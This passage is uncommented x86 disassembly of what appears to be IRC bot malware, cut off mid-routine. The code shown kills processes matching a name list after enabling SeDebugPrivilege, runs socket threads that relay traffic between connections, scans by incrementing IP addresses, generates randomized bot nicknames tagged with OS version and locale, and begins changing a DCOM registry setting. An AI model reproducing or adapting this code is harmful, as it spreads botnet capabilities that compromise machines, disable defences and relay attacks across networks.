var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_49167C, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_411A75 cmp dword_491660, ebx jz loc_411A75 cmp dword_49157C, ebx jz loc_411A75 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_401262 pop ecx pop ecx push ebx push 0Fh call dword_49167C ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_411A68 lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_491660 ; Process32First mov esi, ds:dword_495358 test eax, eax jz loc_411A63 lea eax, [ebp+var_130] push eax push edi call dword_49157C ; Process32Next test eax, eax jz loc_411A63 mov edi, ds:dword_495398 mov ebx, 1F0FFFh loc_41193A: ; CODE XREF: sub_411876+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4119A1 mov [ebp+var_4], offset off_43174C loc_411948: ; CODE XREF: sub_411876+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call ds:dword_4953FC ; lstrcmpi test eax, eax jz short loc_411970 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_43210C jl short loc_411948 jmp loc_411A49 ; --------------------------------------------------------------------------- loc_411970: ; CODE XREF: sub_411876+E6j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess test eax, eax mov [ebp+var_4], eax jz loc_411A49 push 0 push eax call ds:dword_4953F8 ; TerminateProcess test eax, eax jnz loc_411A49 loc_411997: ; CODE XREF: sub_411876+1B9j push [ebp+var_4] call esi ; CloseHandle jmp loc_411A49 ; --------------------------------------------------------------------------- loc_4119A1: ; CODE XREF: sub_411876+C9j cmp [ebp+arg_C], eax jnz loc_411A34 cmp [ebp+arg_4], eax jz loc_411A49 push [ebp+var_128] push 8 call dword_49167C ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_4119F4 lea ecx, [ebp+var_354] push ecx push eax call dword_491528 ; Module32First push [ebp+var_128] test eax, eax jz short loc_4119FA lea eax, [ebp+var_234] jmp short loc_411A00 ; --------------------------------------------------------------------------- loc_4119F4: ; CODE XREF: sub_411876+15Cj push [ebp+var_128] loc_4119FA: ; CODE XREF: sub_411876+174j lea eax, [ebp+var_10C] loc_411A00: ; CODE XREF: sub_411876+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_416821 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h jmp loc_411997 ; --------------------------------------------------------------------------- loc_411A34: ; CODE XREF: sub_411876+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_411A7C loc_411A49: ; CODE XREF: sub_411876+F5j ; sub_411876+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_49157C ; Process32Next test eax, eax jnz loc_41193A xor ebx, ebx loc_411A63: ; CODE XREF: sub_411876+9Dj ; sub_411876+B3j push [ebp+var_8] call esi ; CloseHandle loc_411A68: ; CODE XREF: sub_411876+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_401262 pop ecx pop ecx loc_411A75: ; CODE XREF: sub_411876+3Aj ; sub_411876+46j ... xor eax, eax loc_411A77: ; CODE XREF: sub_411876+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_411A7C: ; CODE XREF: sub_411876+1D1j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess push [ebp+var_8] mov edi, eax call esi ; CloseHandle push 0 push edi call ds:dword_4953F8 ; TerminateProcess test eax, eax jnz short loc_411AA0 push edi call esi ; CloseHandle jmp short loc_411A75 ; --------------------------------------------------------------------------- loc_411AA0: ; CODE XREF: sub_411876+223j push 1 pop eax jmp short loc_411A77 sub_411876 endp ; --------------------------------------------------------------------------- db 8Bh dup(0CCh) ; --------------------------------------------------------------------------- loc_411B30: ; CODE XREF: sub_401316j push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+8] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp-98h] push offset dword_434928 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp-298h] push eax call sub_416821 xor esi, esi pop ecx cmp [ebp-8], esi pop ecx jnz short loc_411B8F push esi lea eax, [ebp-298h] push dword ptr [ebp-0Ch] push eax lea eax, [ebp-94h] push eax push dword ptr [ebp-98h] call sub_4010D2 add esp, 14h loc_411B8F: ; CODE XREF: .text:00411B6Dj push dword ptr [ebp-10h] lea eax, [ebp-94h] push esi push esi push dword ptr [ebp-0Ch] push eax push dword ptr [ebp-98h] call sub_401280 add esp, 18h test eax, eax jnz short loc_411BB7 push offset dword_4348F0 jmp short loc_411BBC ; --------------------------------------------------------------------------- loc_411BB7: ; CODE XREF: .text:00411BAEj push offset dword_4348BC loc_411BBC: ; CODE XREF: .text:00411BB5j lea eax, [ebp-298h] push eax call sub_416821 cmp [ebp-8], esi pop ecx pop ecx jnz short loc_411BEF push esi lea eax, [ebp-298h] push dword ptr [ebp-0Ch] push eax lea eax, [ebp-94h] push eax push dword ptr [ebp-98h] call sub_4010D2 add esp, 14h loc_411BEF: ; CODE XREF: .text:00411BCDj lea eax, [ebp-298h] push eax call sub_401014 push dword ptr [ebp-14h] call sub_4012A3 pop ecx pop ecx push esi call ds:dword_495334 ; ExitThread pop edi pop esi ; --------------------------------------------------------------------------- db 37h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411C45 proc near ; CODE XREF: sub_40124Ej arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call ds:dword_495398 ; OpenProcess mov esi, eax test esi, esi jz short loc_411C77 push 0 push esi call ds:dword_4953F8 ; TerminateProcess test eax, eax jnz short loc_411C77 push esi xor edi, edi call ds:dword_495358 ; CloseHandle loc_411C77: ; CODE XREF: sub_411C45+1Aj ; sub_411C45+27j mov eax, edi pop edi pop esi retn sub_411C45 endp ; --------------------------------------------------------------------------- db 0Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411C89 proc near ; CODE XREF: sub_401357j push esi xor esi, esi loc_411C8C: ; CODE XREF: sub_411C89+1Ej push 1 push esi push esi push esi push esi push esi call sub_401280 add esp, 18h push dword_431748 call ds:dword_495324 ; Sleep jmp short loc_411C8C sub_411C89 endp ; --------------------------------------------------------------------------- db 8 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411CB1 proc near ; CODE XREF: sub_40133Ej var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_416B18 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_427578 call sub_415ECC sub esi, eax mov eax, esi pop esi leave retn sub_411CB1 endp ; --------------------------------------------------------------------------- db 0Ch dup(0CCh) ; --------------------------------------------------------------------------- loc_411CED: ; CODE XREF: .text:00401253j call sub_416B18 cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 3 dup(0CCh) ; --------------------------------------------------------------------------- loc_411CFD: ; CODE XREF: sub_4011C7j push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-14Ch] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp-10h] push ebx push esi push eax call sub_415CA0 add esp, 0Ch mov word ptr [ebp-10h], 2 push dword ptr [ebp-40h] call dword_49165C ; htons push 6 push edi push 2 mov [ebp-0Eh], ax mov [ebp-0Ch], esi mov [ebp+8], ebx call dword_4916DC ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_411E61 mov eax, [ebp-3Ch] push edi imul eax, 234h push 401h push esi push ebx mov dword_43E92C[eax], ebx call dword_491578 ; WSAAsyncSelect lea eax, [ebp-10h] push 10h push eax push ebx call dword_491688 ; bind test eax, eax jnz loc_411E61 push 0Ah push ebx call dword_491684 ; listen test eax, eax jnz loc_411E61 loc_411DA7: ; CODE XREF: .text:00411DBBj ; .text:00411E3Cj lea eax, [ebp+8] push eax lea eax, [ebp-24h] push eax push ebx call dword_4916F0 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_411DA7 movzx eax, word ptr [ebp-22h] push dword ptr [ebp-3Ch] mov [ebp-148h], edi mov [ebp-2Ch], esi push eax push dword ptr [ebp-20h] call dword_4916E8 ; inet_ntoa push eax lea eax, [ebp-34Ch] push offset dword_4349B0 push eax call sub_416821 push edi lea eax, [ebp-34Ch] push 10h push eax call sub_40105F mov [ebp-38h], eax imul eax, 234h mov ecx, [ebp-3Ch] add esp, 20h mov dword_43E924[eax], ecx lea eax, [ebp-14h] push eax lea eax, [ebp-14Ch] push esi push eax push offset sub_401055 push esi push esi call ds:dword_49532C ; CreateThread mov ecx, [ebp-38h] imul ecx, 234h cmp eax, esi mov dword_43E934[ecx], eax jz short loc_411E4C loc_411E39: ; CODE XREF: .text:00411E4Aj cmp [ebp-2Ch], esi jnz loc_411DA7 push 32h call ds:dword_495324 ; Sleep jmp short loc_411E39 ; --------------------------------------------------------------------------- loc_411E4C: ; CODE XREF: .text:00411E37j call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset dword_43495C call sub_4012B2 pop ecx pop ecx jmp short loc_411E64 ; --------------------------------------------------------------------------- loc_411E61: ; CODE XREF: .text:00411D5Ej ; .text:00411D90j ... mov edi, [ebp+8] loc_411E64: ; CODE XREF: .text:00411E5Fj push edi call dword_4916F4 ; closesocket push ebx call dword_4916F4 ; closesocket push dword ptr [ebp-3Ch] call sub_4012A3 pop ecx push esi call ds:dword_495334 ; ExitThread pop edi pop esi pop ebx ; --------------------------------------------------------------------------- db 62h dup(0CCh) ; --------------------------------------------------------------------------- loc_411EE7: ; CODE XREF: sub_401055j push ebp mov ebp, esp mov eax, 1344h call sub_416880 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4916DC ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_41209D push 10h lea eax, [ebp-18h] push edi push eax call sub_415CA0 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_49165C ; htons mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_49169C ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_411F77 lea eax, [ebp-13Ch] push eax call dword_4916E0 ; gethostbyname jmp short loc_411F85 ; --------------------------------------------------------------------------- loc_411F77: ; CODE XREF: .text:00411F66j push 2 lea eax, [ebp-8] push 4 push eax call dword_491614 ; gethostbyaddr loc_411F85: ; CODE XREF: .text:00411F75j cmp eax, edi jz loc_41209D mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_491604 ; connect cmp eax, 0FFFFFFFFh jz loc_41209D movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4916E8 ; inet_ntoa push eax lea eax, [ebp-344h] push offset dword_434A68 push eax call sub_416821 push esi lea eax, [ebp-344h] push 10h push eax call sub_40105F imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43E92C[ebx] mov dword_43E924[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E930[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset sub_4011D1 push edi push edi call ds:dword_49532C ; CreateThread mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43E934[ecx], eax jz short loc_41208A loc_412037: ; CODE XREF: .text:00412044j cmp [ebp-20h], edi jnz short loc_412046 push 32h call ds:dword_495324 ; Sleep jmp short loc_412037 ; --------------------------------------------------------------------------- loc_412046: ; CODE XREF: .text:0041203Aj mov ebx, 1000h loc_41204B: ; CODE XREF: .text:00412086j push ebx lea eax, [ebp-1344h] push edi push eax call sub_415CA0 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_491674 ; recv cmp eax, edi jle short loc_41209D push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4916AC ; send cmp eax, 0FFFFFFFFh jnz short loc_41204B jmp short loc_41209D ; --------------------------------------------------------------------------- loc_41208A: ; CODE XREF: .text:00412035j call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset dword_434A10 call sub_4012B2 pop ecx pop ecx loc_41209D: ; CODE XREF: .text:00411F2Bj ; .text:00411F87j ... mov eax, [ebp-4] imul eax, 234h push dword_43E92C[eax] call dword_4916F4 ; closesocket push dword ptr [ebp+8] call dword_4916F4 ; closesocket push dword ptr [ebp-4] call sub_4012A3 pop ecx push edi call ds:dword_495334 ; ExitThread pop edi pop esi pop ebx ; --------------------------------------------------------------------------- db 79h dup(0CCh) ; --------------------------------------------------------------------------- loc_412147: ; CODE XREF: sub_4011D1j push ebp mov ebp, esp mov eax, 1128h call sub_416880 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41217E: ; CODE XREF: .text:004121C3j push edi lea eax, [ebp-1128h] push 0 push eax call sub_415CA0 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43E930[esi] call dword_491674 ; recv test eax, eax jle short loc_4121C5 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43E92C[esi] call dword_4916AC ; send cmp eax, 0FFFFFFFFh jnz short loc_41217E loc_4121C5: ; CODE XREF: .text:004121A8j push dword_43E930[esi] call dword_4916F4 ; closesocket push dword ptr [ebp-14h] call sub_4012A3 pop ecx push 0 call ds:dword_495334 ; ExitThread pop edi pop esi ; --------------------------------------------------------------------------- db 27h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41220B proc near ; CODE XREF: sub_401046j var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call ds:dword_495340 ; GetTickCount push eax call sub_416B0E mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aAwk ; "awk-" push offset aS_2 ; "%s" push 1Ch push edi call sub_4163D7 xor esi, esi add esp, 10h cmp dword_42C928, esi jle short loc_412264 loc_41223E: ; CODE XREF: sub_41220B+57j call sub_416B18 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_4163D7 add esp, 14h inc esi cmp esi, dword_42C928 jl short loc_41223E loc_412264: ; CODE XREF: sub_41220B+31j mov eax, edi pop edi pop esi retn sub_41220B endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412280 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_495340 ; GetTickCount push eax call sub_416B0E pop ecx call sub_416B18 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42C928 test esi, esi jle short loc_4122C3 loc_4122AD: ; CODE XREF: sub_412280+41j call sub_416B18 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_4122AD loc_4122C3: ; CODE XREF: sub_412280+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_412280 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- loc_4122E0: ; CODE XREF: .text:00401069j push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call ds:dword_495340 ; GetTickCount push eax call sub_416B0E pop ecx lea eax, [ebp-8] mov esi, offset byte_434B48 push eax push esi call ds:dword_4953F0 ; GetComputerNameA movsx eax, byte_434B48 push 41h pop ecx push 1 pop edx loc_41231C: ; CODE XREF: .text:00412327j cmp eax, ecx jnz short loc_412323 mov [ebp-4], edx loc_412323: ; CODE XREF: .text:0041231Ej inc ecx cmp ecx, 5Bh jl short loc_41231C push 61h pop ecx loc_41232C: ; CODE XREF: .text:00412337j cmp eax, ecx jnz short loc_412333 mov [ebp-4], edx loc_412333: ; CODE XREF: .text:0041232Ej inc ecx cmp ecx, 7Bh jl short loc_41232C mov edi, [ebp+8] push esi push 1Ch push edi call sub_4163D7 xor esi, esi add esp, 0Ch cmp dword_42C928, esi jle short loc_412378 loc_412352: ; CODE XREF: .text:00412376j call sub_416B18 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_4163D7 add esp, 14h inc esi cmp esi, dword_42C928 jl short loc_412352 loc_412378: ; CODE XREF: .text:00412350j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- db 27h dup(0CCh) ; --------------------------------------------------------------------------- loc_4123A5: ; CODE XREF: .text:0040128Fj push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_495340 ; GetTickCount push eax call sub_416B0E pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call ds:dword_495400 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset aEmr3S ; "emr3-[%s]-" push 1Ch push edi call sub_4163D7 xor esi, esi add esp, 10h cmp dword_42C928, esi jle short loc_412414 loc_4123EE: ; CODE XREF: .text:00412412j call sub_416B18 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_4163D7 add esp, 14h inc esi cmp esi, dword_42C928 jl short loc_4123EE loc_412414: ; CODE XREF: .text:004123ECj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- loc_412437: ; CODE XREF: .text:0040103Cj push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_4370BC mov dword ptr [ebp-94h], 94h call ds:dword_495404 ; GetVersionExA call ds:dword_495340 ; GetTickCount push eax call sub_416B0E cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_4124BB cmp dword ptr [ebp-8Ch], 0 jnz short loc_41249B cmp dword ptr [ebp-84h], 1 jnz short loc_41248B mov esi, offset a95 ; "95" loc_41248B: ; CODE XREF: .text:00412484j cmp dword ptr [ebp-84h], 2 jnz short loc_4124F7 mov esi, offset aNt ; "NT" jmp short loc_4124F7 ; --------------------------------------------------------------------------- loc_41249B: ; CODE XREF: .text:0041247Bj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_4124AB mov esi, offset a98 ; "98" jmp short loc_4124F7 ; --------------------------------------------------------------------------- loc_4124AB: ; CODE XREF: .text:004124A2j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_4124F2 mov esi, offset aMe_0 ; "ME" jmp short loc_4124F7 ; --------------------------------------------------------------------------- loc_4124BB: ; CODE XREF: .text:00412472j cmp dword ptr [ebp-90h], 5 jnz short loc_4124F2 cmp dword ptr [ebp-8Ch], 0 jnz short loc_4124D4 mov esi, offset a2k ; "2K" jmp short loc_4124F7 ; --------------------------------------------------------------------------- loc_4124D4: ; CODE XREF: .text:004124CBj cmp dword ptr [ebp-8Ch], 1 jnz short loc_4124E4 mov esi, offset aXp ; "XP" jmp short loc_4124F7 ; --------------------------------------------------------------------------- loc_4124E4: ; CODE XREF: .text:004124DBj cmp dword ptr [ebp-8Ch], 2 mov esi, offset a2k3 ; "2K3" jz short loc_4124F7 loc_4124F2: ; CODE XREF: .text:004124B2j ; .text:004124C2j mov esi, offset a??? ; "???" loc_4124F7: ; CODE XREF: .text:00412492j ; .text:00412499j ... mov edi, [ebp+8] push esi push offset aS_4 ; "[%s]|" push 1Ch push edi call sub_4163D7 xor esi, esi add esp, 10h cmp dword_42C928, esi jle short loc_41253B loc_412515: ; CODE XREF: .text:00412539j call sub_416B18 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_4163D7 add esp, 14h inc esi cmp esi, dword_42C928 jl short loc_412515 loc_41253B: ; CODE XREF: .text:00412513j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- db 42h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412583 proc near ; CODE XREF: sub_401163j var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_495340 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_4125D2 call dword_491668 ; FindWindowA test eax, eax mov eax, offset aM ; "[M]" jnz short loc_4125BB mov eax, offset byte_4370BC loc_4125BB: ; CODE XREF: sub_412583+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+var_1C] push 1Ch push eax call sub_4163D7 add esp, 14h jmp short loc_4125F2 ; --------------------------------------------------------------------------- loc_4125D2: ; CODE XREF: sub_412583+22j call dword_491668 ; FindWindowA test eax, eax mov eax, offset aM ; "[M]" jnz short loc_4125E6 mov eax, offset byte_4370BC loc_4125E6: ; CODE XREF: sub_412583+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_416821 pop ecx pop ecx loc_4125F2: ; CODE XREF: sub_412583+4Dj lea eax, [ebp+var_1C] push eax call sub_4158E0 pop ecx cmp eax, 2 pop esi jbe short loc_412621 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_4168B0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_416A10 add esp, 18h loc_412621: ; CODE XREF: sub_412583+7Dj mov eax, [ebp+arg_0] leave retn sub_412583 endp ; --------------------------------------------------------------------------- db 28h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41264E proc near ; CODE XREF: sub_401343j arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_434AD4 loc_41265A: ; CODE XREF: sub_41264E+3Fj cmp [ebp+arg_C], 0 jz short loc_412675 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_416B70 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_41267F ; --------------------------------------------------------------------------- loc_412675: ; CODE XREF: sub_41264E+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_41267F: ; CODE XREF: sub_41264E+25j test eax, eax jnz short loc_412691 add esi, 14h inc edi cmp esi, offset dword_434B38 jl short loc_41265A jmp short loc_41269F ; --------------------------------------------------------------------------- loc_412691: ; CODE XREF: sub_41264E+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_434AD8[eax*4] pop ecx loc_41269F: ; CODE XREF: sub_41264E+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_4126B2 push [ebp+arg_0] call sub_401163 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4126B2: ; CODE XREF: sub_41264E+57j mov eax, [ebp+arg_0] pop ebp retn sub_41264E endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4126D1 proc near ; CODE XREF: sub_4011D6j var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415CA0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_49165C ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4916DC ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41278F lea eax, [ebp+var_10] push 10h push eax push esi call dword_491604 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E92C[ecx], esi jz short loc_41278F push [ebp+var_34] push [ebp+var_28] call dword_4916E8 ; inet_ntoa push eax mov edi, offset dword_492510 push offset dword_434B90 push edi call sub_416821 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_4010D2 push edi call sub_401014 add esp, 28h loc_41278F: ; CODE XREF: sub_4126D1+5Dj ; sub_4126D1+7Ej push esi call dword_4916F4 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_4126D1 endp ; --------------------------------------------------------------------------- db 33h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4127D1 proc near ; CODE XREF: sub_4010C8j var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_495324 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_4127FF: ; CODE XREF: sub_4127D1+ECj push [ebp+var_2C] push [ebp+var_20] call dword_4916E8 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset dword_434BC8 push eax call sub_416821 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_43E720 push eax call sub_416A10 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_4011D6 push edi push edi call ds:dword_49532C ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_41286B loc_412860: ; CODE XREF: sub_4127D1+98j cmp [ebp+var_C], edi jnz short loc_41286B push 32h call esi ; Sleep jmp short loc_412860 ; --------------------------------------------------------------------------- loc_41286B: ; CODE XREF: sub_4127D1+8Dj ; sub_4127D1+92j push [ebp+var_4] call ds:dword_495358 ; CloseHandle push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_415960 add esp, 0Ch push [ebp+arg_0] call dword_491590 ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_491658 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_415960 add esp, 0Ch jmp loc_4127FF sub_4127D1 endp ; --------------------------------------------------------------------------- db 3Ch dup(0CCh) ; --------------------------------------------------------------------------- loc_4128FE: ; CODE XREF: sub_401127j push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+8] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp-98h] rep movsd pop edi pop esi push dword ptr [ebp-8] cmp dword ptr [ebp-10h], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp-94h] push dword ptr [ebp-0Ch] push eax push dword ptr [ebp-98h] jz short loc_412945 call sub_401172 jmp short loc_41294A ; --------------------------------------------------------------------------- loc_412945: ; CODE XREF: .text:0041293Cj call sub_4011DB loc_41294A: ; CODE XREF: .text:00412943j add esp, 10h push dword ptr [ebp-14h] call sub_4012A3 pop ecx push 0 call ds:dword_495334 ; ExitThread ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412976 proc near ; CODE XREF: sub_401172j var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_49172C, edi jnz loc_412AA8 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4916CC ; RegOpenKeyExA test eax, eax jnz short loc_412A01 mov ax, word_434FD0 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom 